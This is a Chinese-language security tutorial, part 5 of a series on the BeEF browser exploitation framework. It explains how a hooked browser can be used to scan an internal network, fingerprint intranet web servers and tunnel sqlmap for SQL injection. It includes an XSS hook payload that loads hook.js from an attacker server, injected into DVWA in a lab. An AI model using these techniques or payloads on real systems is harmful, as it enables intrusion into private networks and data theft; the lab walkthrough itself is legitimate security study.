49

浏览器攻击框架BeEF Part 5:攻击Web应用与攻击网络

 5 years ago
source link: http://www.freebuf.com/articles/web/176912.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:NT00,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

上一章介绍了Tunneling Proxy技术以及怎样使用这项技术来绕过httponly实现高级的会话窃取。本章探讨如何在不违反SOP情况下,通过勾连浏览器攻击Web应用与攻击网络。其中有一些攻击技术就用到了Tunneling Proxy的技术。

本系列文章前序内容:

1. 浏览器攻击框架BeEF Part 1

2. 浏览器攻击框架BeEF Part 2:初始化控制

3. 浏览器攻击框架BeEF Part 3:持续控制

4. 浏览器攻击框架BeEF Part 4:绕过同源策略与浏览器代理

攻击网络

攻击Web应用有一些技术需要使用到攻击网络的技术,所以就先介绍攻击网络。这里的攻击网络一般是指攻击内网。想象一下这样的场景:当一个公司内部网络的浏览器被BeEF勾住了,那么可不可以使用它来攻击这个内部网络呢?比如主机扫描,端口扫描。答案是可以的。攻击网络的模块在Network和Host目录。

攻击网络一般有这几步:

1. 识别目标
2. ping sweep
3. 扫描端口

识别目标

识别目标分为两个,一个是识别勾连浏览器的内部IP,另一个是识别勾连浏览器的子网。

BeEF给出了两个攻击模块来识别勾连浏览器的内部IP:Get Internal IP(Java) 与 Get Internal IP WebRTC。两个模块都在Host目录。 一个是使用Java技术, 一个是使用了WebRTC技术。现在已经很少有人会在浏览器中使用Java了。 使用WebRTC会更好些:

rUjIzuI.jpg!web

识别勾连浏览器的子网只有一个模块:identity LAN Subnets。 这个模块的原理是通过向一些常见的子网段的主机发送XMLHttpRequest请求,然后看看响应的时间,如果主机是活动的,那么响应时间会很短。

AzyAvim.jpg!web 这个模块所扫描的子网段是设置好的,可以在 beef主目录/modules/network/identify_lan_subnets/command.js文件中增加。

ping sweep

知道内网ip 或 目标子网段后,下一步就是查看一下子网中有那些主机是活动的。BeEF为此提供了Ping Sweep 模块,它的原理和identify_lan_subnets一样。

ui6reuQ.jpg!web

下面是笔者的扫描结果:

NZf2iqQ.jpg!web

扫描端口

知道活动主机以后,那么接下来就是进行端口扫描。BeEF提供了 Port Sanner 模块来达成这一目的,其原理是使用IMG标签和自定义的onload/onerrer事件处理程序, 以及计时器。但是现代的浏览器都实现了端口封禁,端口封禁限制了浏览器对某些端口发送http请求,比如 21, 22, 25, 110, 145 等端口, 所以一般无法扫描出这些端口。

u26R3iY.jpg!web

下面是扫描结果

RjmqArY.jpg!web

攻击Web应用

想象一下两个的情景。

第一个,一家公司的内网用户使用浏览器访问了某个有勾子的外网网站页面(可能是xss等漏洞导致),BeEF在获得了浏览器的控制权后,能不能进一步攻击这家公司的一些内网的Web呢?

第二个场景,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会设置HttpOnly,但是后台的某个功能存在着SQL漏洞,那么能否使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell呢?

上面的两个问题,答案都是可以做到的。从上面的两个场景,可以看出要使用BeEF攻击Web应用主要分为两个种类型。第一种是攻击不同源的Web,对应着第一个场景。第二种是攻击同源的Web,对应着场景二。下面分开来讨论。

攻击不同源Web应用

先来说说攻击不同源Web的原理。从上一章,读者应该能理解到,BeEF可以让被勾住的浏览器向任何域发送HTTP请求。只是在发送跨域时,多数情况下SOP都会阻止浏览器读取HTTP响应。虽然不能读取HTTP响应,但有些攻击是不需要读取的,典型的不需要读取HTTP响应的攻击技术就是CSRF了。

要攻击不同源的Web应用,首先要对它进行充足的侦查。可以利用上面攻击网络的技术来检测一下勾连浏览器的内网有那些Web服务器。当我们知道那个内网主机上是Web服务器,接下来我们要对它进行指纹采集。前几章有提到js,css,图片的静态文件一般不会受SOP限制。而这正是指纹采集的关键,我们可以通过一些已知的静态资源来推测出目标。比如向一个内网的主机请求一个 /icon/apache_pb.gif图片,如果这个主机返回了图片数据,那么这个主机有可能运行着apache。

BeEF给出了两个指纹采集的攻击模块,分别是Get HTTP Servers(Favicon) 和 Fingerprint Local Network。两个模块的原理都是一样的,通过在勾连浏览器中创建一个不可见的IFrame,然后添加一个<img>标签,并设置onload/onerror事件,如果成功加载了图片触发了onload事件,那么就可以根据这个图片来推断出是什么服务器。Get HTTP Servers(Favicon)只会断定加载了那个图片,而Fingerprint Local Network 会计算加载的图片的长宽,然后和数据库对比,最后判断出这是个什么服务器。

下面是笔者用两个模块对内网中metasploitable2 的作出的测试结果:

Get HTTP Servers(Favicon)

yAFZ7nY.jpg!web

Fingerprint Local Network

uAniUf2.jpg!web

作出基本的指纹检测后,如果目标是有漏洞了,比如有一台Jboss 6.0.0, 那么就可以使用Jboss 6.0.0M1 JMX Deploy Exploit 模块直接反弹一个meterpreter回来。除了这个漏洞,BeEF也提供了一些CSRF的攻击模块可以使用。由于篇幅原因,这里就不测试了,有兴趣的可以自己搭环境测试。

攻击同源Web应用

攻击不同源的Web应用是有点鸡肋的,必须要满足不少条件才行。但是攻击同源Web应用就相对简单且有效的多。

上面的场景二,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会设置HttpOnly,但是后台的某个功能存在着SQL漏洞。我们要使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell。这里就要用到上一章讲到的 Tunneling Proxy了。

因为没有好的靶子机,这里使用metasploitabel2来做测试了,下面是测试环境:

名称 角色 ip Ubuntu BeEF服务器 外网 kali 攻击者,sqlmap 外网 Windows7 / 浏览器A 受害者 内网 10.0.2.4 metasploitable2 内网有漏洞的主机 内网 10.0.2.5

笔者使用最新的BeEF来测试,BeEF装好后,需要改一下config.yaml中的登录密码,要使用强密码,否则BeEF会在每次启动时给你分配一个随机密码。笔者测试时,发现最新版有一些Bug,导致proxy功能不太好用。经过调试,找到了Bug所在。修改一下beef/extensions/proxy/proxy.rb文件:

yMvARfr.jpg!web 修改成红线的两处的path就可以了。运行BeEF, 接着在windows7中用浏览器A访问metasploitable2 的dvwa。 把dvwa的安全调为低,接着使用xss reflected 来注入BeEF的钩子:

<script src="http://BeEF_ip:3000/hook.js" type="text/javascript"></script>

JFZJRjj.jpg!web 接下来在kali中登录BeEF服务器的管理UI,把浏览器A设置为Tunneling Proxy(参照上一章的方法)。

设置完后,在kali中运行sqlmap,使用–proxy选项,走BeEF的Tunneling Proxy:

URzim2z.jpg!web

下面时结果图:

NZja2eN.jpg!web

在使用sqlmap走BeEF隧道时,建议不要使用 –technique=T, 因为在走隧道时也会消耗时间,所以注入结果会不准确。

这里只演示了sqlmap, 实际上burp也是可以走BeEF隧道了。这里旧不进行演示了,有兴趣的朋友可以自己玩。

结语

这一章到这里就结束了,下一章会介绍更好玩的攻击手段,攻击用户和浏览器。对本章有疑问或纠错的可以在评论里留言。

*本文原创作者:NT00,本文属FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK